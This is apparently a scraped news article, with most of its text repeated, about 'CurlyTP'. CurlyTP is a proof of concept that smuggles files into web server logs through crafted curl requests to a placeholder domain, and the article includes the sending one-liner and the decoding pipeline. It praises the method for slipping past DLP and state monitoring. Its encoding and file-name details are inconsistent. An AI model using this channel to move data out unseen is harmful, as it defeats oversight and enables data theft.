According to Wikipedia, a dead drop is a conspiracy tool used to exchange information or items between people using a secret location. The idea is that people never meet, but they still exchange information while maintaining operational security.
The dead drop should not attract attention. That’s why in the offline world, inconspicuous items are often used: a loose brick in the wall, a library book, or a hollow in a tree.
There are many encryption and anonymization tools on the Internet, but the very fact of using these tools attracts attention. In addition, they can be blocked at the corporate or government level. What to do?
Developer Ryan Flowers has come up with an interesting option: use any web server as a cache. If you think about it, what does a web server do? It accepts requests, issues files, and writes a log. And it logs all requests, even incorrect ones!
So any web server allows you to save almost any message in the log. Flowers thought about how to use this.
He suggests the following option:
To read the file, you need to do these operations in reverse order: decode and unzip the file, check the hash (the hash can be safely transmitted over open channels).
Spaces are replaced with =+=, so that there are no spaces in the address. The program, which the author called CurlyTP, uses base64 encoding, like in email attachments. The request is made with the keyword ?transfer?, so that the recipient can easily find it in the logs.
What do we see in the logs in this case?
As already mentioned, to obtain a secret message you need to perform the operations in reverse order:
The process is easy to automate. The md5sum matches, and the file contents confirm that everything was decoded correctly.
The method is very simple. "The point of this exercise is only to prove that files can be transferred via innocent little web requests, and this works on any web server with plain text logs. In fact, every web server is a stash house!" Flowers writes.
Of course, the method only works if the recipient has access to the server logs. But many hosting providers, for example, provide such access.
Ryan Flowers says he is not an information security expert and will not list possible uses for CurlyTP. For him, it is simply a proof of concept that familiar tools that we see every day can be used in an unconventional way.
In fact, this method has several advantages over other server-side “caches” such as Digital Dead Drop or PirateBox: it does not require any special server-side configuration or any special protocols - and will not arouse suspicion among those monitoring traffic. It is unlikely that SORM or a DLP system will scan URLs for compressed text files.
This is one of the ways to transmit messages through service files. You can recall how some advanced companies used to post vacancies for developers in HTTP headers or in the code of HTML pages.
The idea was that only web developers would see such an “Easter egg”, since a normal person would not look at headers or HTML code.
Source
The dead drop should not attract attention. That’s why in the offline world, inconspicuous items are often used: a loose brick in the wall, a library book, or a hollow in a tree.
There are many encryption and anonymization tools on the Internet, but the very fact of using these tools attracts attention. In addition, they can be blocked at the corporate or government level. What to do?
Developer Ryan Flowers has come up with an interesting option: use any web server as a cache. If you think about it, what does a web server do? It accepts requests, issues files, and writes a log. And it logs all requests, even incorrect ones!
So any web server allows you to save almost any message in the log. Flowers thought about how to use this.
He suggests the following option:
- We take a text file (secret message) and calculate the hash (md5sum).
- We encode it (gzip+uuencode).
- We write to the log by means of a deliberately incorrect request to the server.
Code:
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shTo read the file, you need to do these operations in reverse order: decode and unzip the file, check the hash (the hash can be safely transmitted over open channels).
Spaces are replaced with =+=, so that there are no spaces in the address. The program, which the author called CurlyTP, uses base64 encoding, like in email attachments. The request is made with the keyword ?transfer?, so that the recipient can easily find it in the logs.
What do we see in the logs in this case?
Code:
1.2.3.4 - - [22/Aug/2024:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2024:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2024:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"As already mentioned, to obtain a secret message you need to perform the operations in reverse order:
Code:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gThe process is easy to automate. The md5sum matches, and the file contents confirm that everything was decoded correctly.
The method is very simple. "The point of this exercise is only to prove that files can be transferred via innocent little web requests, and this works on any web server with plain text logs. In fact, every web server is a stash house!" Flowers writes.
Of course, the method only works if the recipient has access to the server logs. But many hosting providers, for example, provide such access.
How to use it?
Ryan Flowers says he is not an information security expert and will not list possible uses for CurlyTP. For him, it is simply a proof of concept that familiar tools that we see every day can be used in an unconventional way.
In fact, this method has several advantages over other server-side “caches” such as Digital Dead Drop or PirateBox: it does not require any special server-side configuration or any special protocols - and will not arouse suspicion among those monitoring traffic. It is unlikely that SORM or a DLP system will scan URLs for compressed text files.
This is one of the ways to transmit messages through service files. You can recall how some advanced companies used to post vacancies for developers in HTTP headers or in the code of HTML pages.
The idea was that only web developers would see such an “Easter egg”, since a normal person would not look at headers or HTML code.
Source
